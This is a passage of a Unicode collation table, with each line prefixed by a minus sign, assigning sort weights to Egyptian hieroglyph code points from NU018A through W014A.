-1324A ; [.4EC6.0020.0002] # EGYPTIAN HIEROGLYPH NU018A
-1324B ; [.4EC7.0020.0002] # EGYPTIAN HIEROGLYPH NU019
-1324C ; [.4EC8.0020.0002] # EGYPTIAN HIEROGLYPH NU020
-1324D ; [.4EC9.0020.0002] # EGYPTIAN HIEROGLYPH NU021
-1324E ; [.4ECA.0020.0002] # EGYPTIAN HIEROGLYPH NU022
-1324F ; [.4ECB.0020.0002] # EGYPTIAN HIEROGLYPH NU022A
-13250 ; [.4ECC.0020.0002] # EGYPTIAN HIEROGLYPH O001
-13251 ; [.4ECD.0020.0002] # EGYPTIAN HIEROGLYPH O001A
-13252 ; [.4ECE.0020.0002] # EGYPTIAN HIEROGLYPH O002
-13253 ; [.4ECF.0020.0002] # EGYPTIAN HIEROGLYPH O003
-13254 ; [.4ED0.0020.0002] # EGYPTIAN HIEROGLYPH O004
-13255 ; [.4ED1.0020.0002] # EGYPTIAN HIEROGLYPH O005
-13256 ; [.4ED2.0020.0002] # EGYPTIAN HIEROGLYPH O005A
-13257 ; [.4ED3.0020.0002] # EGYPTIAN HIEROGLYPH O006
-13258 ; [.4ED4.0020.0002] # EGYPTIAN HIEROGLYPH O006A
-13259 ; [.4ED5.0020.0002] # EGYPTIAN HIEROGLYPH O006B
-1325A ; [.4ED6.0020.0002] # EGYPTIAN HIEROGLYPH O006C
-1325B ; [.4ED7.0020.0002] # EGYPTIAN HIEROGLYPH O006D
-1325C ; [.4ED8.0020.0002] # EGYPTIAN HIEROGLYPH O006E
-1325D ; [.4ED9.0020.0002] # EGYPTIAN HIEROGLYPH O006F
-1325E ; [.4EDA.0020.0002] # EGYPTIAN HIEROGLYPH O007
-1325F ; [.4EDB.0020.0002] # EGYPTIAN HIEROGLYPH O008
-13260 ; [.4EDC.0020.0002] # EGYPTIAN HIEROGLYPH O009
-13261 ; [.4EDD.0020.0002] # EGYPTIAN HIEROGLYPH O010
-13262 ; [.4EDE.0020.0002] # EGYPTIAN HIEROGLYPH O010A
-13263 ; [.4EDF.0020.0002] # EGYPTIAN HIEROGLYPH O010B
-13264 ; [.4EE0.0020.0002] # EGYPTIAN HIEROGLYPH O010C
-13265 ; [.4EE1.0020.0002] # EGYPTIAN HIEROGLYPH O011
-13266 ; [.4EE2.0020.0002] # EGYPTIAN HIEROGLYPH O012
-13267 ; [.4EE3.0020.0002] # EGYPTIAN HIEROGLYPH O013
-13268 ; [.4EE4.0020.0002] # EGYPTIAN HIEROGLYPH O014
-13269 ; [.4EE5.0020.0002] # EGYPTIAN HIEROGLYPH O015
-1326A ; [.4EE6.0020.0002] # EGYPTIAN HIEROGLYPH O016
-1326B ; [.4EE7.0020.0002] # EGYPTIAN HIEROGLYPH O017
-1326C ; [.4EE8.0020.0002] # EGYPTIAN HIEROGLYPH O018
-1326D ; [.4EE9.0020.0002] # EGYPTIAN HIEROGLYPH O019
-1326E ; [.4EEA.0020.0002] # EGYPTIAN HIEROGLYPH O019A
-1326F ; [.4EEB.0020.0002] # EGYPTIAN HIEROGLYPH O020
-13270 ; [.4EEC.0020.0002] # EGYPTIAN HIEROGLYPH O020A
-13271 ; [.4EED.0020.0002] # EGYPTIAN HIEROGLYPH O021
-13272 ; [.4EEE.0020.0002] # EGYPTIAN HIEROGLYPH O022
-13273 ; [.4EEF.0020.0002] # EGYPTIAN HIEROGLYPH O023
-13274 ; [.4EF0.0020.0002] # EGYPTIAN HIEROGLYPH O024
-13275 ; [.4EF1.0020.0002] # EGYPTIAN HIEROGLYPH O024A
-13276 ; [.4EF2.0020.0002] # EGYPTIAN HIEROGLYPH O025
-13277 ; [.4EF3.0020.0002] # EGYPTIAN HIEROGLYPH O025A
-13278 ; [.4EF4.0020.0002] # EGYPTIAN HIEROGLYPH O026
-13279 ; [.4EF5.0020.0002] # EGYPTIAN HIEROGLYPH O027
-1327A ; [.4EF6.0020.0002] # EGYPTIAN HIEROGLYPH O028
-1327B ; [.4EF7.0020.0002] # EGYPTIAN HIEROGLYPH O029
-1327C ; [.4EF8.0020.0002] # EGYPTIAN HIEROGLYPH O029A
-1327D ; [.4EF9.0020.0002] # EGYPTIAN HIEROGLYPH O030
-1327E ; [.4EFA.0020.0002] # EGYPTIAN HIEROGLYPH O030A
-1327F ; [.4EFB.0020.0002] # EGYPTIAN HIEROGLYPH O031
-13280 ; [.4EFC.0020.0002] # EGYPTIAN HIEROGLYPH O032
-13281 ; [.4EFD.0020.0002] # EGYPTIAN HIEROGLYPH O033
-13282 ; [.4EFE.0020.0002] # EGYPTIAN HIEROGLYPH O033A
-13283 ; [.4EFF.0020.0002] # EGYPTIAN HIEROGLYPH O034
-13284 ; [.4F00.0020.0002] # EGYPTIAN HIEROGLYPH O035
-13285 ; [.4F01.0020.0002] # EGYPTIAN HIEROGLYPH O036
-13286 ; [.4F02.0020.0002] # EGYPTIAN HIEROGLYPH O036A
-13287 ; [.4F03.0020.0002] # EGYPTIAN HIEROGLYPH O036B
-13288 ; [.4F04.0020.0002] # EGYPTIAN HIEROGLYPH O036C
-13289 ; [.4F05.0020.0002] # EGYPTIAN HIEROGLYPH O036D
-1328A ; [.4F06.0020.0002] # EGYPTIAN HIEROGLYPH O037
-1328B ; [.4F07.0020.0002] # EGYPTIAN HIEROGLYPH O038
-1328C ; [.4F08.0020.0002] # EGYPTIAN HIEROGLYPH O039
-1328D ; [.4F09.0020.0002] # EGYPTIAN HIEROGLYPH O040
-1328E ; [.4F0A.0020.0002] # EGYPTIAN HIEROGLYPH O041
-1328F ; [.4F0B.0020.0002] # EGYPTIAN HIEROGLYPH O042
-13290 ; [.4F0C.0020.0002] # EGYPTIAN HIEROGLYPH O043
-13291 ; [.4F0D.0020.0002] # EGYPTIAN HIEROGLYPH O044
-13292 ; [.4F0E.0020.0002] # EGYPTIAN HIEROGLYPH O045
-13293 ; [.4F0F.0020.0002] # EGYPTIAN HIEROGLYPH O046
-13294 ; [.4F10.0020.0002] # EGYPTIAN HIEROGLYPH O047
-13295 ; [.4F11.0020.0002] # EGYPTIAN HIEROGLYPH O048
-13296 ; [.4F12.0020.0002] # EGYPTIAN HIEROGLYPH O049
-13297 ; [.4F13.0020.0002] # EGYPTIAN HIEROGLYPH O050
-13298 ; [.4F14.0020.0002] # EGYPTIAN HIEROGLYPH O050A
-13299 ; [.4F15.0020.0002] # EGYPTIAN HIEROGLYPH O050B
-1329A ; [.4F16.0020.0002] # EGYPTIAN HIEROGLYPH O051
-1329B ; [.4F17.0020.0002] # EGYPTIAN HIEROGLYPH P001
-1329C ; [.4F18.0020.0002] # EGYPTIAN HIEROGLYPH P001A
-1329D ; [.4F19.0020.0002] # EGYPTIAN HIEROGLYPH P002
-1329E ; [.4F1A.0020.0002] # EGYPTIAN HIEROGLYPH P003
-1329F ; [.4F1B.0020.0002] # EGYPTIAN HIEROGLYPH P003A
-132A0 ; [.4F1C.0020.0002] # EGYPTIAN HIEROGLYPH P004
-132A1 ; [.4F1D.0020.0002] # EGYPTIAN HIEROGLYPH P005
-132A2 ; [.4F1E.0020.0002] # EGYPTIAN HIEROGLYPH P006
-132A3 ; [.4F1F.0020.0002] # EGYPTIAN HIEROGLYPH P007
-132A4 ; [.4F20.0020.0002] # EGYPTIAN HIEROGLYPH P008
-132A5 ; [.4F21.0020.0002] # EGYPTIAN HIEROGLYPH P009
-132A6 ; [.4F22.0020.0002] # EGYPTIAN HIEROGLYPH P010
-132A7 ; [.4F23.0020.0002] # EGYPTIAN HIEROGLYPH P011
-132A8 ; [.4F24.0020.0002] # EGYPTIAN HIEROGLYPH Q001
-132A9 ; [.4F25.0020.0002] # EGYPTIAN HIEROGLYPH Q002
-132AA ; [.4F26.0020.0002] # EGYPTIAN HIEROGLYPH Q003
-132AB ; [.4F27.0020.0002] # EGYPTIAN HIEROGLYPH Q004
-132AC ; [.4F28.0020.0002] # EGYPTIAN HIEROGLYPH Q005
-132AD ; [.4F29.0020.0002] # EGYPTIAN HIEROGLYPH Q006
-132AE ; [.4F2A.0020.0002] # EGYPTIAN HIEROGLYPH Q007
-132AF ; [.4F2B.0020.0002] # EGYPTIAN HIEROGLYPH R001
-132B0 ; [.4F2C.0020.0002] # EGYPTIAN HIEROGLYPH R002
-132B1 ; [.4F2D.0020.0002] # EGYPTIAN HIEROGLYPH R002A
-132B2 ; [.4F2E.0020.0002] # EGYPTIAN HIEROGLYPH R003
-132B3 ; [.4F2F.0020.0002] # EGYPTIAN HIEROGLYPH R003A
-132B4 ; [.4F30.0020.0002] # EGYPTIAN HIEROGLYPH R003B
-132B5 ; [.4F31.0020.0002] # EGYPTIAN HIEROGLYPH R004
-132B6 ; [.4F32.0020.0002] # EGYPTIAN HIEROGLYPH R005
-132B7 ; [.4F33.0020.0002] # EGYPTIAN HIEROGLYPH R006
-132B8 ; [.4F34.0020.0002] # EGYPTIAN HIEROGLYPH R007
-132B9 ; [.4F35.0020.0002] # EGYPTIAN HIEROGLYPH R008
-132BA ; [.4F36.0020.0002] # EGYPTIAN HIEROGLYPH R009
-132BB ; [.4F37.0020.0002] # EGYPTIAN HIEROGLYPH R010
-132BC ; [.4F38.0020.0002] # EGYPTIAN HIEROGLYPH R010A
-132BD ; [.4F39.0020.0002] # EGYPTIAN HIEROGLYPH R011
-132BE ; [.4F3A.0020.0002] # EGYPTIAN HIEROGLYPH R012
-132BF ; [.4F3B.0020.0002] # EGYPTIAN HIEROGLYPH R013
-132C0 ; [.4F3C.0020.0002] # EGYPTIAN HIEROGLYPH R014
-132C1 ; [.4F3D.0020.0002] # EGYPTIAN HIEROGLYPH R015
-132C2 ; [.4F3E.0020.0002] # EGYPTIAN HIEROGLYPH R016
-132C3 ; [.4F3F.0020.0002] # EGYPTIAN HIEROGLYPH R016A
-132C4 ; [.4F40.0020.0002] # EGYPTIAN HIEROGLYPH R017
-132C5 ; [.4F41.0020.0002] # EGYPTIAN HIEROGLYPH R018
-132C6 ; [.4F42.0020.0002] # EGYPTIAN HIEROGLYPH R019
-132C7 ; [.4F43.0020.0002] # EGYPTIAN HIEROGLYPH R020
-132C8 ; [.4F44.0020.0002] # EGYPTIAN HIEROGLYPH R021
-132C9 ; [.4F45.0020.0002] # EGYPTIAN HIEROGLYPH R022
-132CA ; [.4F46.0020.0002] # EGYPTIAN HIEROGLYPH R023
-132CB ; [.4F47.0020.0002] # EGYPTIAN HIEROGLYPH R024
-132CC ; [.4F48.0020.0002] # EGYPTIAN HIEROGLYPH R025
-132CD ; [.4F49.0020.0002] # EGYPTIAN HIEROGLYPH R026
-132CE ; [.4F4A.0020.0002] # EGYPTIAN HIEROGLYPH R027
-132CF ; [.4F4B.0020.0002] # EGYPTIAN HIEROGLYPH R028
-132D0 ; [.4F4C.0020.0002] # EGYPTIAN HIEROGLYPH R029
-132D1 ; [.4F4D.0020.0002] # EGYPTIAN HIEROGLYPH S001
-132D2 ; [.4F4E.0020.0002] # EGYPTIAN HIEROGLYPH S002
-132D3 ; [.4F4F.0020.0002] # EGYPTIAN HIEROGLYPH S002A
-132D4 ; [.4F50.0020.0002] # EGYPTIAN HIEROGLYPH S003
-132D5 ; [.4F51.0020.0002] # EGYPTIAN HIEROGLYPH S004
-132D6 ; [.4F52.0020.0002] # EGYPTIAN HIEROGLYPH S005
-132D7 ; [.4F53.0020.0002] # EGYPTIAN HIEROGLYPH S006
-132D8 ; [.4F54.0020.0002] # EGYPTIAN HIEROGLYPH S006A
-132D9 ; [.4F55.0020.0002] # EGYPTIAN HIEROGLYPH S007
-132DA ; [.4F56.0020.0002] # EGYPTIAN HIEROGLYPH S008
-132DB ; [.4F57.0020.0002] # EGYPTIAN HIEROGLYPH S009
-132DC ; [.4F58.0020.0002] # EGYPTIAN HIEROGLYPH S010
-132DD ; [.4F59.0020.0002] # EGYPTIAN HIEROGLYPH S011
-132DE ; [.4F5A.0020.0002] # EGYPTIAN HIEROGLYPH S012
-132DF ; [.4F5B.0020.0002] # EGYPTIAN HIEROGLYPH S013
-132E0 ; [.4F5C.0020.0002] # EGYPTIAN HIEROGLYPH S014
-132E1 ; [.4F5D.0020.0002] # EGYPTIAN HIEROGLYPH S014A
-132E2 ; [.4F5E.0020.0002] # EGYPTIAN HIEROGLYPH S014B
-132E3 ; [.4F5F.0020.0002] # EGYPTIAN HIEROGLYPH S015
-132E4 ; [.4F60.0020.0002] # EGYPTIAN HIEROGLYPH S016
-132E5 ; [.4F61.0020.0002] # EGYPTIAN HIEROGLYPH S017
-132E6 ; [.4F62.0020.0002] # EGYPTIAN HIEROGLYPH S017A
-132E7 ; [.4F63.0020.0002] # EGYPTIAN HIEROGLYPH S018
-132E8 ; [.4F64.0020.0002] # EGYPTIAN HIEROGLYPH S019
-132E9 ; [.4F65.0020.0002] # EGYPTIAN HIEROGLYPH S020
-132EA ; [.4F66.0020.0002] # EGYPTIAN HIEROGLYPH S021
-132EB ; [.4F67.0020.0002] # EGYPTIAN HIEROGLYPH S022
-132EC ; [.4F68.0020.0002] # EGYPTIAN HIEROGLYPH S023
-132ED ; [.4F69.0020.0002] # EGYPTIAN HIEROGLYPH S024
-132EE ; [.4F6A.0020.0002] # EGYPTIAN HIEROGLYPH S025
-132EF ; [.4F6B.0020.0002] # EGYPTIAN HIEROGLYPH S026
-132F0 ; [.4F6C.0020.0002] # EGYPTIAN HIEROGLYPH S026A
-132F1 ; [.4F6D.0020.0002] # EGYPTIAN HIEROGLYPH S026B
-132F2 ; [.4F6E.0020.0002] # EGYPTIAN HIEROGLYPH S027
-132F3 ; [.4F6F.0020.0002] # EGYPTIAN HIEROGLYPH S028
-132F4 ; [.4F70.0020.0002] # EGYPTIAN HIEROGLYPH S029
-132F5 ; [.4F71.0020.0002] # EGYPTIAN HIEROGLYPH S030
-132F6 ; [.4F72.0020.0002] # EGYPTIAN HIEROGLYPH S031
-132F7 ; [.4F73.0020.0002] # EGYPTIAN HIEROGLYPH S032
-132F8 ; [.4F74.0020.0002] # EGYPTIAN HIEROGLYPH S033
-132F9 ; [.4F75.0020.0002] # EGYPTIAN HIEROGLYPH S034
-132FA ; [.4F76.0020.0002] # EGYPTIAN HIEROGLYPH S035
-132FB ; [.4F77.0020.0002] # EGYPTIAN HIEROGLYPH S035A
-132FC ; [.4F78.0020.0002] # EGYPTIAN HIEROGLYPH S036
-132FD ; [.4F79.0020.0002] # EGYPTIAN HIEROGLYPH S037
-132FE ; [.4F7A.0020.0002] # EGYPTIAN HIEROGLYPH S038
-132FF ; [.4F7B.0020.0002] # EGYPTIAN HIEROGLYPH S039
-13300 ; [.4F7C.0020.0002] # EGYPTIAN HIEROGLYPH S040
-13301 ; [.4F7D.0020.0002] # EGYPTIAN HIEROGLYPH S041
-13302 ; [.4F7E.0020.0002] # EGYPTIAN HIEROGLYPH S042
-13303 ; [.4F7F.0020.0002] # EGYPTIAN HIEROGLYPH S043
-13304 ; [.4F80.0020.0002] # EGYPTIAN HIEROGLYPH S044
-13305 ; [.4F81.0020.0002] # EGYPTIAN HIEROGLYPH S045
-13306 ; [.4F82.0020.0002] # EGYPTIAN HIEROGLYPH S046
-13307 ; [.4F83.0020.0002] # EGYPTIAN HIEROGLYPH T001
-13308 ; [.4F84.0020.0002] # EGYPTIAN HIEROGLYPH T002
-13309 ; [.4F85.0020.0002] # EGYPTIAN HIEROGLYPH T003
-1330A ; [.4F86.0020.0002] # EGYPTIAN HIEROGLYPH T003A
-1330B ; [.4F87.0020.0002] # EGYPTIAN HIEROGLYPH T004
-1330C ; [.4F88.0020.0002] # EGYPTIAN HIEROGLYPH T005
-1330D ; [.4F89.0020.0002] # EGYPTIAN HIEROGLYPH T006
-1330E ; [.4F8A.0020.0002] # EGYPTIAN HIEROGLYPH T007
-1330F ; [.4F8B.0020.0002] # EGYPTIAN HIEROGLYPH T007A
-13310 ; [.4F8C.0020.0002] # EGYPTIAN HIEROGLYPH T008
-13311 ; [.4F8D.0020.0002] # EGYPTIAN HIEROGLYPH T008A
-13312 ; [.4F8E.0020.0002] # EGYPTIAN HIEROGLYPH T009
-13313 ; [.4F8F.0020.0002] # EGYPTIAN HIEROGLYPH T009A
-13314 ; [.4F90.0020.0002] # EGYPTIAN HIEROGLYPH T010
-13315 ; [.4F91.0020.0002] # EGYPTIAN HIEROGLYPH T011
-13316 ; [.4F92.0020.0002] # EGYPTIAN HIEROGLYPH T011A
-13317 ; [.4F93.0020.0002] # EGYPTIAN HIEROGLYPH T012
-13318 ; [.4F94.0020.0002] # EGYPTIAN HIEROGLYPH T013
-13319 ; [.4F95.0020.0002] # EGYPTIAN HIEROGLYPH T014
-1331A ; [.4F96.0020.0002] # EGYPTIAN HIEROGLYPH T015
-1331B ; [.4F97.0020.0002] # EGYPTIAN HIEROGLYPH T016
-1331C ; [.4F98.0020.0002] # EGYPTIAN HIEROGLYPH T016A
-1331D ; [.4F99.0020.0002] # EGYPTIAN HIEROGLYPH T017
-1331E ; [.4F9A.0020.0002] # EGYPTIAN HIEROGLYPH T018
-1331F ; [.4F9B.0020.0002] # EGYPTIAN HIEROGLYPH T019
-13320 ; [.4F9C.0020.0002] # EGYPTIAN HIEROGLYPH T020
-13321 ; [.4F9D.0020.0002] # EGYPTIAN HIEROGLYPH T021
-13322 ; [.4F9E.0020.0002] # EGYPTIAN HIEROGLYPH T022
-13323 ; [.4F9F.0020.0002] # EGYPTIAN HIEROGLYPH T023
-13324 ; [.4FA0.0020.0002] # EGYPTIAN HIEROGLYPH T024
-13325 ; [.4FA1.0020.0002] # EGYPTIAN HIEROGLYPH T025
-13326 ; [.4FA2.0020.0002] # EGYPTIAN HIEROGLYPH T026
-13327 ; [.4FA3.0020.0002] # EGYPTIAN HIEROGLYPH T027
-13328 ; [.4FA4.0020.0002] # EGYPTIAN HIEROGLYPH T028
-13329 ; [.4FA5.0020.0002] # EGYPTIAN HIEROGLYPH T029
-1332A ; [.4FA6.0020.0002] # EGYPTIAN HIEROGLYPH T030
-1332B ; [.4FA7.0020.0002] # EGYPTIAN HIEROGLYPH T031
-1332C ; [.4FA8.0020.0002] # EGYPTIAN HIEROGLYPH T032
-1332D ; [.4FA9.0020.0002] # EGYPTIAN HIEROGLYPH T032A
-1332E ; [.4FAA.0020.0002] # EGYPTIAN HIEROGLYPH T033
-1332F ; [.4FAB.0020.0002] # EGYPTIAN HIEROGLYPH T033A
-13330 ; [.4FAC.0020.0002] # EGYPTIAN HIEROGLYPH T034
-13331 ; [.4FAD.0020.0002] # EGYPTIAN HIEROGLYPH T035
-13332 ; [.4FAE.0020.0002] # EGYPTIAN HIEROGLYPH T036
-13333 ; [.4FAF.0020.0002] # EGYPTIAN HIEROGLYPH U001
-13334 ; [.4FB0.0020.0002] # EGYPTIAN HIEROGLYPH U002
-13335 ; [.4FB1.0020.0002] # EGYPTIAN HIEROGLYPH U003
-13336 ; [.4FB2.0020.0002] # EGYPTIAN HIEROGLYPH U004
-13337 ; [.4FB3.0020.0002] # EGYPTIAN HIEROGLYPH U005
-13338 ; [.4FB4.0020.0002] # EGYPTIAN HIEROGLYPH U006
-13339 ; [.4FB5.0020.0002] # EGYPTIAN HIEROGLYPH U006A
-1333A ; [.4FB6.0020.0002] # EGYPTIAN HIEROGLYPH U006B
-1333B ; [.4FB7.0020.0002] # EGYPTIAN HIEROGLYPH U007
-1333C ; [.4FB8.0020.0002] # EGYPTIAN HIEROGLYPH U008
-1333D ; [.4FB9.0020.0002] # EGYPTIAN HIEROGLYPH U009
-1333E ; [.4FBA.0020.0002] # EGYPTIAN HIEROGLYPH U010
-1333F ; [.4FBB.0020.0002] # EGYPTIAN HIEROGLYPH U011
-13340 ; [.4FBC.0020.0002] # EGYPTIAN HIEROGLYPH U012
-13341 ; [.4FBD.0020.0002] # EGYPTIAN HIEROGLYPH U013
-13342 ; [.4FBE.0020.0002] # EGYPTIAN HIEROGLYPH U014
-13343 ; [.4FBF.0020.0002] # EGYPTIAN HIEROGLYPH U015
-13344 ; [.4FC0.0020.0002] # EGYPTIAN HIEROGLYPH U016
-13345 ; [.4FC1.0020.0002] # EGYPTIAN HIEROGLYPH U017
-13346 ; [.4FC2.0020.0002] # EGYPTIAN HIEROGLYPH U018
-13347 ; [.4FC3.0020.0002] # EGYPTIAN HIEROGLYPH U019
-13348 ; [.4FC4.0020.0002] # EGYPTIAN HIEROGLYPH U020
-13349 ; [.4FC5.0020.0002] # EGYPTIAN HIEROGLYPH U021
-1334A ; [.4FC6.0020.0002] # EGYPTIAN HIEROGLYPH U022
-1334B ; [.4FC7.0020.0002] # EGYPTIAN HIEROGLYPH U023
-1334C ; [.4FC8.0020.0002] # EGYPTIAN HIEROGLYPH U023A
-1334D ; [.4FC9.0020.0002] # EGYPTIAN HIEROGLYPH U024
-1334E ; [.4FCA.0020.0002] # EGYPTIAN HIEROGLYPH U025
-1334F ; [.4FCB.0020.0002] # EGYPTIAN HIEROGLYPH U026
-13350 ; [.4FCC.0020.0002] # EGYPTIAN HIEROGLYPH U027
-13351 ; [.4FCD.0020.0002] # EGYPTIAN HIEROGLYPH U028
-13352 ; [.4FCE.0020.0002] # EGYPTIAN HIEROGLYPH U029
-13353 ; [.4FCF.0020.0002] # EGYPTIAN HIEROGLYPH U029A
-13354 ; [.4FD0.0020.0002] # EGYPTIAN HIEROGLYPH U030
-13355 ; [.4FD1.0020.0002] # EGYPTIAN HIEROGLYPH U031
-13356 ; [.4FD2.0020.0002] # EGYPTIAN HIEROGLYPH U032
-13357 ; [.4FD3.0020.0002] # EGYPTIAN HIEROGLYPH U032A
-13358 ; [.4FD4.0020.0002] # EGYPTIAN HIEROGLYPH U033
-13359 ; [.4FD5.0020.0002] # EGYPTIAN HIEROGLYPH U034
-1335A ; [.4FD6.0020.0002] # EGYPTIAN HIEROGLYPH U035
-1335B ; [.4FD7.0020.0002] # EGYPTIAN HIEROGLYPH U036
-1335C ; [.4FD8.0020.0002] # EGYPTIAN HIEROGLYPH U037
-1335D ; [.4FD9.0020.0002] # EGYPTIAN HIEROGLYPH U038
-1335E ; [.4FDA.0020.0002] # EGYPTIAN HIEROGLYPH U039
-1335F ; [.4FDB.0020.0002] # EGYPTIAN HIEROGLYPH U040
-13360 ; [.4FDC.0020.0002] # EGYPTIAN HIEROGLYPH U041
-13361 ; [.4FDD.0020.0002] # EGYPTIAN HIEROGLYPH U042
-13362 ; [.4FDE.0020.0002] # EGYPTIAN HIEROGLYPH V001
-13363 ; [.4FDF.0020.0002] # EGYPTIAN HIEROGLYPH V001A
-13364 ; [.4FE0.0020.0002] # EGYPTIAN HIEROGLYPH V001B
-13365 ; [.4FE1.0020.0002] # EGYPTIAN HIEROGLYPH V001C
-13366 ; [.4FE2.0020.0002] # EGYPTIAN HIEROGLYPH V001D
-13367 ; [.4FE3.0020.0002] # EGYPTIAN HIEROGLYPH V001E
-13368 ; [.4FE4.0020.0002] # EGYPTIAN HIEROGLYPH V001F
-13369 ; [.4FE5.0020.0002] # EGYPTIAN HIEROGLYPH V001G
-1336A ; [.4FE6.0020.0002] # EGYPTIAN HIEROGLYPH V001H
-1336B ; [.4FE7.0020.0002] # EGYPTIAN HIEROGLYPH V001I
-1336C ; [.4FE8.0020.0002] # EGYPTIAN HIEROGLYPH V002
-1336D ; [.4FE9.0020.0002] # EGYPTIAN HIEROGLYPH V002A
-1336E ; [.4FEA.0020.0002] # EGYPTIAN HIEROGLYPH V003
-1336F ; [.4FEB.0020.0002] # EGYPTIAN HIEROGLYPH V004
-13370 ; [.4FEC.0020.0002] # EGYPTIAN HIEROGLYPH V005
-13371 ; [.4FED.0020.0002] # EGYPTIAN HIEROGLYPH V006
-13372 ; [.4FEE.0020.0002] # EGYPTIAN HIEROGLYPH V007
-13373 ; [.4FEF.0020.0002] # EGYPTIAN HIEROGLYPH V007A
-13374 ; [.4FF0.0020.0002] # EGYPTIAN HIEROGLYPH V007B
-13375 ; [.4FF1.0020.0002] # EGYPTIAN HIEROGLYPH V008
-13376 ; [.4FF2.0020.0002] # EGYPTIAN HIEROGLYPH V009
-13377 ; [.4FF3.0020.0002] # EGYPTIAN HIEROGLYPH V010
-13378 ; [.4FF4.0020.0002] # EGYPTIAN HIEROGLYPH V011
-13379 ; [.4FF5.0020.0002] # EGYPTIAN HIEROGLYPH V011A
-1337A ; [.4FF6.0020.0002] # EGYPTIAN HIEROGLYPH V011B
-1337B ; [.4FF7.0020.0002] # EGYPTIAN HIEROGLYPH V011C
-1337C ; [.4FF8.0020.0002] # EGYPTIAN HIEROGLYPH V012
-1337D ; [.4FF9.0020.0002] # EGYPTIAN HIEROGLYPH V012A
-1337E ; [.4FFA.0020.0002] # EGYPTIAN HIEROGLYPH V012B
-1337F ; [.4FFB.0020.0002] # EGYPTIAN HIEROGLYPH V013
-13380 ; [.4FFC.0020.0002] # EGYPTIAN HIEROGLYPH V014
-13381 ; [.4FFD.0020.0002] # EGYPTIAN HIEROGLYPH V015
-13382 ; [.4FFE.0020.0002] # EGYPTIAN HIEROGLYPH V016
-13383 ; [.4FFF.0020.0002] # EGYPTIAN HIEROGLYPH V017
-13384 ; [.5000.0020.0002] # EGYPTIAN HIEROGLYPH V018
-13385 ; [.5001.0020.0002] # EGYPTIAN HIEROGLYPH V019
-13386 ; [.5002.0020.0002] # EGYPTIAN HIEROGLYPH V020
-13387 ; [.5003.0020.0002] # EGYPTIAN HIEROGLYPH V020A
-13388 ; [.5004.0020.0002] # EGYPTIAN HIEROGLYPH V020B
-13389 ; [.5005.0020.0002] # EGYPTIAN HIEROGLYPH V020C
-1338A ; [.5006.0020.0002] # EGYPTIAN HIEROGLYPH V020D
-1338B ; [.5007.0020.0002] # EGYPTIAN HIEROGLYPH V020E
-1338C ; [.5008.0020.0002] # EGYPTIAN HIEROGLYPH V020F
-1338D ; [.5009.0020.0002] # EGYPTIAN HIEROGLYPH V020G
-1338E ; [.500A.0020.0002] # EGYPTIAN HIEROGLYPH V020H
-1338F ; [.500B.0020.0002] # EGYPTIAN HIEROGLYPH V020I
-13390 ; [.500C.0020.0002] # EGYPTIAN HIEROGLYPH V020J
-13391 ; [.500D.0020.0002] # EGYPTIAN HIEROGLYPH V020K
-13392 ; [.500E.0020.0002] # EGYPTIAN HIEROGLYPH V020L
-13393 ; [.500F.0020.0002] # EGYPTIAN HIEROGLYPH V021
-13394 ; [.5010.0020.0002] # EGYPTIAN HIEROGLYPH V022
-13395 ; [.5011.0020.0002] # EGYPTIAN HIEROGLYPH V023
-13396 ; [.5012.0020.0002] # EGYPTIAN HIEROGLYPH V023A
-13397 ; [.5013.0020.0002] # EGYPTIAN HIEROGLYPH V024
-13398 ; [.5014.0020.0002] # EGYPTIAN HIEROGLYPH V025
-13399 ; [.5015.0020.0002] # EGYPTIAN HIEROGLYPH V026
-1339A ; [.5016.0020.0002] # EGYPTIAN HIEROGLYPH V027
-1339B ; [.5017.0020.0002] # EGYPTIAN HIEROGLYPH V028
-1339C ; [.5018.0020.0002] # EGYPTIAN HIEROGLYPH V028A
-1339D ; [.5019.0020.0002] # EGYPTIAN HIEROGLYPH V029
-1339E ; [.501A.0020.0002] # EGYPTIAN HIEROGLYPH V029A
-1339F ; [.501B.0020.0002] # EGYPTIAN HIEROGLYPH V030
-133A0 ; [.501C.0020.0002] # EGYPTIAN HIEROGLYPH V030A
-133A1 ; [.501D.0020.0002] # EGYPTIAN HIEROGLYPH V031
-133A2 ; [.501E.0020.0002] # EGYPTIAN HIEROGLYPH V031A
-133A3 ; [.501F.0020.0002] # EGYPTIAN HIEROGLYPH V032
-133A4 ; [.5020.0020.0002] # EGYPTIAN HIEROGLYPH V033
-133A5 ; [.5021.0020.0002] # EGYPTIAN HIEROGLYPH V033A
-133A6 ; [.5022.0020.0002] # EGYPTIAN HIEROGLYPH V034
-133A7 ; [.5023.0020.0002] # EGYPTIAN HIEROGLYPH V035
-133A8 ; [.5024.0020.0002] # EGYPTIAN HIEROGLYPH V036
-133A9 ; [.5025.0020.0002] # EGYPTIAN HIEROGLYPH V037
-133AA ; [.5026.0020.0002] # EGYPTIAN HIEROGLYPH V037A
-133AB ; [.5027.0020.0002] # EGYPTIAN HIEROGLYPH V038
-133AC ; [.5028.0020.0002] # EGYPTIAN HIEROGLYPH V039
-133AD ; [.5029.0020.0002] # EGYPTIAN HIEROGLYPH V040
-133AE ; [.502A.0020.0002] # EGYPTIAN HIEROGLYPH V040A
-133AF ; [.502B.0020.0002] # EGYPTIAN HIEROGLYPH W001
-133B0 ; [.502C.0020.0002] # EGYPTIAN HIEROGLYPH W002
-133B1 ; [.502D.0020.0002] # EGYPTIAN HIEROGLYPH W003
-133B2 ; [.502E.0020.0002] # EGYPTIAN HIEROGLYPH W003A
-133B3 ; [.502F.0020.0002] # EGYPTIAN HIEROGLYPH W004
-133B4 ; [.5030.0020.0002] # EGYPTIAN HIEROGLYPH W005
-133B5 ; [.5031.0020.0002] # EGYPTIAN HIEROGLYPH W006
-133B6 ; [.5032.0020.0002] # EGYPTIAN HIEROGLYPH W007
-133B7 ; [.5033.0020.0002] # EGYPTIAN HIEROGLYPH W008
-133B8 ; [.5034.0020.0002] # EGYPTIAN HIEROGLYPH W009
-133B9 ; [.5035.0020.0002] # EGYPTIAN HIEROGLYPH W009A
-133BA ; [.5036.0020.0002] # EGYPTIAN HIEROGLYPH W010
-133BB ; [.5037.0020.0002] # EGYPTIAN HIEROGLYPH W010A
-133BC ; [.5038.0020.0002] # EGYPTIAN HIEROGLYPH W011
-133BD ; [.5039.0020.0002] # EGYPTIAN HIEROGLYPH W012
-133BE ; [.503A.0020.0002] # EGYPTIAN HIEROGLYPH W013
-133BF ; [.503B.0020.0002] # EGYPTIAN HIEROGLYPH W014
-133C0 ; [.503C.0020.0002] # EGYPTIAN HIEROGLYPH W014A
